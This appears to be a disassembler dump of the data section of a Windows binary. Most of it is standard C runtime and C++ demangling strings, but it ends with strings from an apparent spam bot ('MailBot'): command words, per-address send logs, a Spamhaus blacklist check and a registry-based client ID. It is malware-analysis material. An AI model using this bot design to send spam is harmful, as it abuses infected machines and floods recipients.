.vty:004231F0o align 4 aArgListTooLong db 'Arg list too long',0 ; DATA XREF: .vty:004231ECo align 4 aNoSuchDeviceOr db 'No such device or address',0 ; DATA XREF: .vty:004231E8o align 4 aInputOutputErr db 'Input/output error',0 ; DATA XREF: .vty:004231E4o align 4 aInterruptedFun db 'Interrupted function call',0 ; DATA XREF: .vty:004231E0o align 4 aNoSuchProcess db 'No such process',0 ; DATA XREF: .vty:004231DCo aNoSuchFileOrDi db 'No such file or directory',0 ; DATA XREF: .vty:004231D8o align 10h aOperationNotPe db 'Operation not permitted',0 ; DATA XREF: .vty:004231D4o aNoError db 'No error',0 ; DATA XREF: .vty:off_4231D0o align 8 dword_41C798 dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h dd 7C7B7A79h, 7F7E7Dh, 3Dh dword_41C81C dd 0 ; sub_41844E+27o dword_41C820 dd 3D736363h, 0 dword_41C828 dd 2D465455h, 38hdword_41C830 dd 2D465455h, 454C3631h, 0aUnicode db 'UNICODE',0 ; DATA XREF: sub_413BFD:loc_413E17o aRuntimeError db 'runtime error ',0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError_0 db 'DOMAIN error',0Dh,0Ah,0 align 8 aR6034AnApplica db 'R6034',0Dh,0Ah db 'An application has made an attempt to load the C runtime library ' db 'incorrectly.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 8 aR6033AttemptTo db 'R6033',0Dh,0Ah db '- Attempt to use MSIL code from this assembly during native code ' db 'initialization',0Ah db 'This indicates a bug in your application. It is most likely the r' db 'esult of calling an MSIL-compiled (/clr) function from a native c' db 'onstructor or from DllMain.',0Dh,0Ah,0 align 10h aR6032NotEnough db 'R6032',0Dh,0Ah db '- not enough space for locale information',0Dh,0Ah,0 align 8 aR6031AttemptTo db 'R6031',0Dh,0Ah db '- Attempt to initialize the CRT more than once.',0Ah db 'This indicates a bug in your application.',0Dh,0Ah,0 align 4 aR6030CrtNotIni db 'R6030',0Dh,0Ah db '- CRT not initialized',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .vty:off_423B2Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41422C+157o align 10h asc_41CDC0 db 0Ah ; DATA XREF: sub_41422C:loc_41433Co db 0Ah,0 align 4 a___ db '...',0 ; DATA XREF: sub_41422C+E8o aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41422C+A3o align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41422C+5Bo db 0Ah db 'Program: ',0 align 4 off_41CDFC dd offset sub_415FB1 ; DATA XREF: sub_412800+F1r ; sub_412800+FAo ... dd offset dword_41F2F4 off_41CE04 dd offset loc_415DC9 ; DATA XREF: sub_415DBEo ; .vty:00415DCCo ... dd offset sub_40D947 dword_41CE0C dd 20646162h, 65637865h, 6F697470h, 6Ehoff_41CE1C dd offset dword_424890 ; DATA XREF: sub_416B2C+D4o dd offset dword_4248E8 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_4182CC+53o align 4 aCompleteObject db ' Complete Object Locator',27h,0 ; DATA XREF: .vty:0041D424o align 4 aClassHierarchy db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: .vty:0041D420o align 4 aBaseClassArray db ' Base Class Array',27h,0 ; DATA XREF: .vty:0041D41Co align 4 aBaseClassDescr db ' Base Class Descriptor at (',0 ; DATA XREF: .vty:0041D418o aTypeDescriptor db ' Type Descriptor',27h,0 ; DATA XREF: .vty:0041D414o align 4 aLocalStaticThr db '`local static thread guard',27h,0 ; DATA XREF: .vty:0041D560o aManagedVectorC db '`managed vector copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D55Co align 4 aVectorVbaseCop db '`vector vbase copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D558o align 10h aVectorCopyCons db '`vector copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D554o align 4 aDynamicAtexitD db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: .vty:0041D550o align 4 aDynamicInitial db '`dynamic initializer for ',27h,0 ; DATA XREF: .vty:0041D54Co align 4 aEhVectorVbaseC db '`eh vector vbase copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D548o aEhVectorCopyCo db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: .vty:0041D544o align 4 aManagedVectorD db '`managed vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D540o align 10h aManagedVecto_0 db '`managed vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D53Co align 4 aPlacementDelet db '`placement delete[] closure',27h,0 ; DATA XREF: .vty:0041D538o align 4 aPlacementDel_0 db '`placement delete closure',27h,0 ; DATA XREF: .vty:0041D534o align 4 aOmniCallsig db '`omni callsig',27h,0 ; DATA XREF: .vty:0041D530o align 4 aDelete db ' delete[]',0 ; DATA XREF: .vty:0041D52Co align 10h aNew db ' new[]',0 ; DATA XREF: .vty:0041D528o align 4 aLocalVftableCo db '`local vftable constructor closure',27h,0 ; DATA XREF: .vty:0041D524o aLocalVftable db '`local vftable',27h,0 ; DATA XREF: .vty:0041D520o aRtti db '`RTTI',0 ; DATA XREF: .vty:0041D51Co align 4 aEh db '`EH',0 ; DATA XREF: .vty:0041D518o aUdtReturning db '`udt returning',27h,0 ; DATA XREF: .vty:0041D514o aCopyConstructo db '`copy constructor closure',27h,0 ; DATA XREF: .vty:0041D510o align 4 aEhVectorVbas_0 db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: .vty:0041D50Co align 4 aEhVectorDestru db '`eh vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D508o aEhVectorConstr db '`eh vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D504o align 10h aVirtualDisplac db '`virtual displacement map',27h,0 ; DATA XREF: .vty:0041D500o align 4 aVectorVbaseCon db '`vector vbase constructor iterator',27h,0 ; DATA XREF: .vty:0041D4FCo aVectorDestruct db '`vector destructor iterator',27h,0 ; DATA XREF: .vty:0041D4F8o align 10h aVectorConstruc db '`vector constructor iterator',27h,0 ; DATA XREF: .vty:0041D4F4o align 10h aScalarDeleting db '`scalar deleting destructor',27h,0 ; DATA XREF: .vty:0041D4F0o align 10h aDefaultConstru db '`default constructor closure',27h,0 ; DATA XREF: .vty:0041D4ECo align 10h aVectorDeleting db '`vector deleting destructor',27h,0 ; DATA XREF: .vty:0041D4E8o align 10h aVbaseDestructo db '`vbase destructor',27h,0 ; DATA XREF: .vty:0041D4E4o align 4 aString db '`string',27h,0 ; DATA XREF: .vty:0041D4E0o align 10h aLocalStaticGua db '`local static guard',27h,0 ; DATA XREF: .vty:0041D4DCo align 4 aTypeof db '`typeof',27h,0 ; DATA XREF: .vty:0041D4D8o align 4 aVcall db '`vcall',27h,0 ; DATA XREF: .vty:0041D4D4o aVbtable db '`vbtable',27h,0 ; DATA XREF: .vty:0041D4D0o align 4 aVftable db '`vftable',27h,0 ; DATA XREF: .vty:0041D4CCo align 4 asc_41D2C4 db '^=',0 ; DATA XREF: .vty:0041D4C8o align 4 asc_41D2C8 db '|=',0 ; DATA XREF: .vty:0041D4C4o align 4 asc_41D2CC db '&=',0 ; DATA XREF: .vty:0041D4C0o align 10h asc_41D2D0 db '<<=',0 ; DATA XREF: .vty:0041D4BCo asc_41D2D4 db '>>=',0 ; DATA XREF: .vty:0041D4B8o asc_41D2D8 db '%=',0 ; DATA XREF: .vty:0041D4B4o align 4 asc_41D2DC db '/=',0 ; DATA XREF: .vty:0041D4B0o align 10h asc_41D2E0 db '-=',0 ; DATA XREF: .vty:0041D4ACo align 4 asc_41D2E4 db '+=',0 ; DATA XREF: .vty:0041D4A8o align 4 asc_41D2E8 db '*=',0 ; DATA XREF: .vty:0041D4A4o align 4 asc_41D2EC db '||',0 ; DATA XREF: .vty:0041D4A0o align 10h asc_41D2F0 db '&&',0 ; DATA XREF: .vty:0041D49Co align 4 asc_41D2F4: ; DATA XREF: .vty:0041D498o unicode 0, <|>,0 asc_41D2F8: ; DATA XREF: .vty:0041D494o unicode 0, <^>,0 asc_41D2FC: ; DATA XREF: .vty:0041D490o unicode 0, <~>,0 asc_41D300 db '()',0 ; DATA XREF: .vty:0041D48Co align 4 asc_41D304: ; DATA XREF: .vty:0041D488o unicode 0, <,>,0 asc_41D308 db '>=',0 ; DATA XREF: .vty:0041D484o align 4 asc_41D30C: ; DATA XREF: .vty:0041D480o dw 3Eh unicode 0, <>,0 asc_41D310 db '<=',0 ; DATA XREF: .vty:0041D47Co align 4 asc_41D314: ; DATA XREF: .vty:0041D478o dw 3Ch unicode 0, <>,0 asc_41D318: ; DATA XREF: .vty:0041D474o unicode 0, <%>,0 asc_41D31C: ; DATA XREF: .vty:0041D470o unicode 0, </>,0 asc_41D320 db '->*',0 ; DATA XREF: .vty:0041D46Co asc_41D324: ; DATA XREF: .vty:0041D468o unicode 0, <&>,0 asc_41D328: ; DATA XREF: .vty:0041D464o unicode 0, <+>,0 asc_41D32C: ; DATA XREF: .vty:0041D460o unicode 0, <->,0 asc_41D330 db '--',0 ; DATA XREF: .vty:0041D45Co align 4 asc_41D334 db '++',0 ; DATA XREF: .vty:0041D458o align 4 asc_41D338: ; DATA XREF: .vty:0041D454o unicode 0, <*>,0 asc_41D33C db '->',0 ; DATA XREF: .vty:0041D450o align 10h aOperator db 'operator',0 ; DATA XREF: .vty:0041D44Co align 4 asc_41D34C db '[]',0 ; DATA XREF: .vty:0041D448o align 10h asc_41D350 db '!=',0 ; DATA XREF: .vty:0041D444o align 4 asc_41D354 db '==',0 ; DATA XREF: .vty:0041D440o align 4 asc_41D358: ; DATA XREF: .vty:0041D43Co unicode 0, <!>,0 asc_41D35C db '<<',0 ; DATA XREF: .vty:0041D438o align 10h asc_41D360 db '>>',0 ; DATA XREF: .vty:0041D434o align 4 aDelete_0 db ' delete',0 ; DATA XREF: .vty:0041D42Co aNew_0 db ' new',0 ; DATA XREF: .vty:0041D428o align 4 a__unaligned db '__unaligned',0 ; DATA XREF: .vty:0041D40Co a__restrict db '__restrict',0 ; DATA XREF: .vty:0041D408o align 4 ; a__ptr64 a__ptr64 db '__ptr64',0 ; DATA XREF: .vty:0041D404o a__clrcall db '__clrcall',0 ; DATA XREF: .vty:0041D400o align 10h a__fastcall db '__fastcall',0 ; DATA XREF: .vty:0041D3FCo align 4 a__thiscall db '__thiscall',0 ; DATA XREF: .vty:0041D3F8o align 4 a__stdcall db '__stdcall',0 ; DATA XREF: .vty:0041D3F4o align 4 a__pascal db '__pascal',0 ; DATA XREF: .vty:0041D3F0o align 10h a__cdecl db '__cdecl',0 ; DATA XREF: .vty:0041D3ECo a__based db '__based(',0 ; DATA XREF: .vty:0041D3E8o align 8 dd offset a__based ; "__based(" dd offset a__cdecl ; "__cdecl" dd offset a__pascal ; "__pascal" dd offset a__stdcall ; "__stdcall" dd offset a__thiscall ; "__thiscall" dd offset a__fastcall ; "__fastcall" dd offset a__clrcall ; "__clrcall" dd offset a__ptr64 ; "__ptr64" dd offset a__restrict ; "__restrict" dd offset a__unaligned ; "__unaligned" dd offset dword_41E020 dd offset aTypeDescriptor ; " Type Descriptor'" dd offset aBaseClassDescr ; " Base Class Descriptor at (" dd offset aBaseClassArray ; " Base Class Array'" dd offset aClassHierarchy ; " Class Hierarchy Descriptor'" dd offset aCompleteObject ; " Complete Object Locator'" dd offset aNew_0 ; " new" dd offset aDelete_0 ; " delete" dd offset dword_41C798+80h dd offset asc_41D360 ; ">>" dd offset asc_41D35C ; "<<" dd offset asc_41D358 ; "!" dd offset asc_41D354 ; "==" dd offset asc_41D350 ; "!=" dd offset asc_41D34C ; "[]" dd offset aOperator ; "operator" dd offset asc_41D33C ; "->" dd offset asc_41D338 ; "*" dd offset asc_41D334 ; "++" dd offset asc_41D330 ; "--" dd offset asc_41D32C ; "-" dd offset asc_41D328 ; "+" dd offset asc_41D324 ; "&" dd offset asc_41D320 ; "->*" dd offset asc_41D31C ; "/" dd offset asc_41D318 ; "%" dd offset asc_41D314 ; "<" dd offset asc_41D310 ; "<=" dd offset asc_41D30C ; ">" dd offset asc_41D308 ; ">=" dd offset asc_41D304 ; "," dd offset asc_41D300 ; "()" dd offset asc_41D2FC ; "~" dd offset asc_41D2F8 ; "^" dd offset asc_41D2F4 ; "|" dd offset asc_41D2F0 ; "&&" dd offset asc_41D2EC ; "||" dd offset asc_41D2E8 ; "*=" dd offset asc_41D2E4 ; "+=" dd offset asc_41D2E0 ; "-=" dd offset asc_41D2DC ; "/=" dd offset asc_41D2D8 ; "%=" dd offset asc_41D2D4 ; ">>=" dd offset asc_41D2D0 ; "<<=" dd offset asc_41D2CC ; "&=" dd offset asc_41D2C8 ; "|=" dd offset asc_41D2C4 ; "^=" dd offset aVftable ; "`vftable'" dd offset aVbtable ; "`vbtable'" dd offset aVcall ; "`vcall'" dd offset aTypeof ; "`typeof'" dd offset aLocalStaticGua ; "`local static guard'" dd offset aString ; "`string'" dd offset aVbaseDestructo ; "`vbase destructor'" dd offset aVectorDeleting ; "`vector deleting destructor'" dd offset aDefaultConstru ; "`default constructor closure'" dd offset aScalarDeleting ; "`scalar deleting destructor'" dd offset aVectorConstruc ; "`vector constructor iterator'" dd offset aVectorDestruct ; "`vector destructor iterator'" dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'" dd offset aVirtualDisplac ; "`virtual displacement map'" dd offset aEhVectorConstr ; "`eh vector constructor iterator'" dd offset aEhVectorDestru ; "`eh vector destructor iterator'" dd offset aEhVectorVbas_0 ; "`eh vector vbase constructor iterator'" dd offset aCopyConstructo ; "`copy constructor closure'" dd offset aUdtReturning ; "`udt returning'" dd offset aEh ; "`EH" dd offset aRtti ; "`RTTI" dd offset aLocalVftable ; "`local vftable'" dd offset aLocalVftableCo ; "`local vftable constructor closure'" dd offset aNew ; " new[]" dd offset aDelete ; " delete[]" dd offset aOmniCallsig ; "`omni callsig'" dd offset aPlacementDel_0 ; "`placement delete closure'" dd offset aPlacementDelet ; "`placement delete[] closure'" dd offset aManagedVecto_0 ; "`managed vector constructor iterator'" dd offset aManagedVectorD ; "`managed vector destructor iterator'" dd offset aEhVectorCopyCo ; "`eh vector copy constructor iterator'" dd offset aEhVectorVbaseC ; "`eh vector vbase copy constructor itera"... dd offset aDynamicInitial ; "`dynamic initializer for '" dd offset aDynamicAtexitD ; "`dynamic atexit destructor for '" dd offset aVectorCopyCons ; "`vector copy constructor iterator'" dd offset aVectorVbaseCop ; "`vector vbase copy constructor iterator"... dd offset aManagedVectorC ; "`managed vector copy constructor iterat"... dd offset aLocalStaticThr ; "`local static thread guard'" dd offset dword_41E020 dd 40h dup(0) asc_41D668: ; DATA XREF: .vty:off_423880o ; .vty:00423E10o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_41D868 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: .vty:00423E14o ; .vty:004237A8o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dd 0 dword_41DA70 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0 aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .vty:00423EBCo aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: .vty:00423EB8o align 4 aPm db 'PM',0 ; DATA XREF: .vty:00423EB4o align 10h aAm db 'AM',0 ; DATA XREF: .vty:00423EB0o align 4 aDecember db 'December',0 ; DATA XREF: .vty:00423EACo align 10h aNovember db 'November',0 ; DATA XREF: .vty:00423EA8o align 4 aOctober db 'October',0 ; DATA XREF: .vty:00423EA4o aSeptember db 'September',0 ; DATA XREF: .vty:00423EA0o align 10h aAugust db 'August',0 ; DATA XREF: .vty:00423E9Co align 4 aJuly db 'July',0 ; DATA XREF: .vty:00423E98o align 10h aJune db 'June',0 ; DATA XREF: .vty:00423E94o align 4 aApril db 'April',0 ; DATA XREF: .vty:00423E8Co align 10h aMarch db 'March',0 ; DATA XREF: .vty:00423E88o align 4 aFebruary db 'February',0 ; DATA XREF: .vty:00423E84o align 4 aJanuary db 'January',0 ; DATA XREF: .vty:00423E80o aDec db 'Dec',0 ; DATA XREF: .vty:00423E7Co aNov db 'Nov',0 ; DATA XREF: .vty:00423E78o aOct db 'Oct',0 ; DATA XREF: .vty:00423E74o aSep db 'Sep',0 ; DATA XREF: .vty:00423E70o aAug db 'Aug',0 ; DATA XREF: .vty:00423E6Co aJul db 'Jul',0 ; DATA XREF: .vty:00423E68o aJun db 'Jun',0 ; DATA XREF: .vty:00423E64o aMay db 'May',0 ; DATA XREF: .vty:00423E60o ; .vty:00423E90o aApr db 'Apr',0 ; DATA XREF: .vty:00423E5Co aMar db 'Mar',0 ; DATA XREF: .vty:00423E58o aFeb db 'Feb',0 ; DATA XREF: .vty:00423E54o aJan db 'Jan',0 ; DATA XREF: .vty:00423E50o aSaturday db 'Saturday',0 ; DATA XREF: .vty:00423E4Co align 4 aFriday db 'Friday',0 ; DATA XREF: .vty:00423E48o align 10h aThursday db 'Thursday',0 ; DATA XREF: .vty:00423E44o align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .vty:00423E40o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: .vty:00423E3Co aMonday db 'Monday',0 ; DATA XREF: .vty:00423E38o align 4 aSunday db 'Sunday',0 ; DATA XREF: .vty:00423E34o align 10h aSat db 'Sat',0 ; DATA XREF: .vty:00423E30o aFri db 'Fri',0 ; DATA XREF: .vty:00423E2Co aThu db 'Thu',0 ; DATA XREF: .vty:00423E28o aWed db 'Wed',0 ; DATA XREF: .vty:00423E24o aTue db 'Tue',0 ; DATA XREF: .vty:00423E20o aMon db 'Mon',0 ; DATA XREF: .vty:00423E1Co aSun db 'Sun',0 ; DATA XREF: .vty:off_423E18o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_419937+C1o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_419937+A9o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_419937+6Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_419937+58o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_419937+46o aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_419937+28o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aConout db 'CONOUT$',0 ; DATA XREF: sub_41ACB3+Eo align 8 dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h dd 30370007h, 88505030h, 20000000h, 80888028h, 80h aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0 dw 800h dd 7000800h, 8 dword_41DFB4 dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh ; .vty:00423004o ... aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate',0 ; DATA XREF: sub_401065+11o ; sub_4010E1+19o aAltclientid db 'AltClientId',0 ; DATA XREF: sub_401065+36o ; sub_4010E1+51o aC db 'C:\',0 ; DATA XREF: sub_401156+B5o a02x db '%02x',0 ; DATA XREF: sub_401156+160o align 4 dd offset dword_41F340 off_41E018 dd offset sub_40CBAC ; DATA XREF: sub_401156+5Fo dd offset sub_40CBE4 dword_41E020 dd 0 ; sub_401A4D+BDo ... dword_41E024 dd 2425h dword_41E028 dd 203A2121h, 0 dword_41E030 dd 203A4545h, 0 dword_41E038 dd 203A5757h, 0 dword_41E040 dd 203A4949h, 0 dword_41E048 dd 203A4244h, 0 aListTTooLong db 'list<T> too long',0 ; DATA XREF: sub_401F07+29o ; sub_405EBC+1Co align 4 aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_403C76+21o ; sub_403C76+8Br ... align 10h aCa db 'ca',0 ; DATA XREF: .vty:0042432Co align 4 aPl db 'pl',0 ; DATA XREF: .vty:00424328o align 4 aEdu db 'edu',0 ; DATA XREF: .vty:00424324o aOrg db 'org',0 ; DATA XREF: .vty:00424320o aInfo db 'info',0 ; DATA XREF: .vty:0042431Co align 4 aBiz db 'biz',0 ; DATA XREF: .vty:00424318o aNet db 'net',0 ; DATA XREF: .vty:00424314o aCom db 'com',0 ; DATA XREF: .vty:off_424310o aMailbotGetmess db 'MailBot::getMessage: no templates or no from domain',0Ah,0 ; DATA XREF: sub_402979+F6o align 4 aSuccS@S db 'succ: %s@%s',0Ah,0 ; DATA XREF: sub_402BCF+34o align 4 aUnlkS@SConnect db 'unlk: %s@%s (connection error)',0Ah,0 ; DATA XREF: sub_402BCF+77o aFailS@SMatched db 'fail: %s@%s matched string ',27h,'%s',27h,0Ah,0 ; DATA XREF: sub_402BCF+1D4o align 10h aUnlkS@SS db 'unlk: %s@%s (%s)',0Ah,0 ; DATA XREF: sub_402BCF+21Ao align 4 aD_D_D_D_inAddr db '%d.%d.%d.%d.in-addr.arpa',0 ; DATA XREF: sub_402F64+5Bo align 10h aServerVersionD db 'Server version %d.%d.%d, my ip %s (%s)',0Ah,0 ; DATA XREF: sub_402F64+19Eo aPong db 'PONG',0Ah,0 ; DATA XREF: sub_40313Bo align 10h aEmails db 'EMAILS',0Ah,0 ; DATA XREF: sub_403151+21o aMailbotOnemail db 'MailBot::onEmails: got empty bucket',0Ah,0 ; DATA XREF: sub_403151+41o align 10h aConfig db 'CONFIG',0Ah,0 ; DATA XREF: sub_4033DA+23o aUninstall db 'UNINSTALL',0 ; DATA XREF: sub_40376E+Do align 4 aUninstalling db 'Uninstalling',0Ah,0 ; DATA XREF: sub_40376E+20o align 4 aUpdatingFromS db 'Updating from %s',0Ah,0 ; DATA XREF: sub_40376E+3Fo align 4 aMailbotOnupdat db 'MailBot::onUpdate: trying to return?!',0 ; DATA XREF: sub_40376E:loc_4037EAo align 10h aIdleD db 'IDLE: %d',0Ah,0 ; DATA XREF: sub_40376E+B6o align 4 aGotSomeEmailsT db 'Got some emails to return, not waiting',0Ah,0 ; DATA XREF: sub_40376E+125o aQuitD db 'QUIT: %d',0Ah,0 ; DATA XREF: .vty:004038FFo align 10h aPutfdomainsD db 'PUTFDOMAINS %d',0Ah,0 ; DATA XREF: .vty:00403960o aGmail_com db 'gmail.com',0 ; DATA XREF: sub_40399B+1Eo ; sub_403C76+105o align 4 aD_D_D_D_sblXbl db '%d.%d.%d.%d.sbl-xbl.spamhaus.org',0 ; DATA XREF: sub_403A28+3Eo align 10h aSblListed_ db 'SBL listed.',0Ah,0 ; DATA XREF: sub_403A28+DDo align 10h aXblListed_ db 'XBL listed.',0Ah,0 ; DATA XREF: sub_403A28+D3o align 10h aStrangeRblReco db 'Strange RBL record %s',0Ah,0 ; DATA XREF: sub_403A28+B8o align 4 aNotOnRbl_LetSR db 'Not on RBL. Let',27h,'s rock!',0Ah,0 ; DATA XREF: sub_403A28:loc_403B2Co align 4 aProxyLockFound db 'Proxy lock found: %s',0Ah,0 ; DATA XREF: sub_403B47+8Eo align 4 aSmtp_ db 'smtp.',0 ; DATA XREF: sub_403B47:loc_403C02o align 4 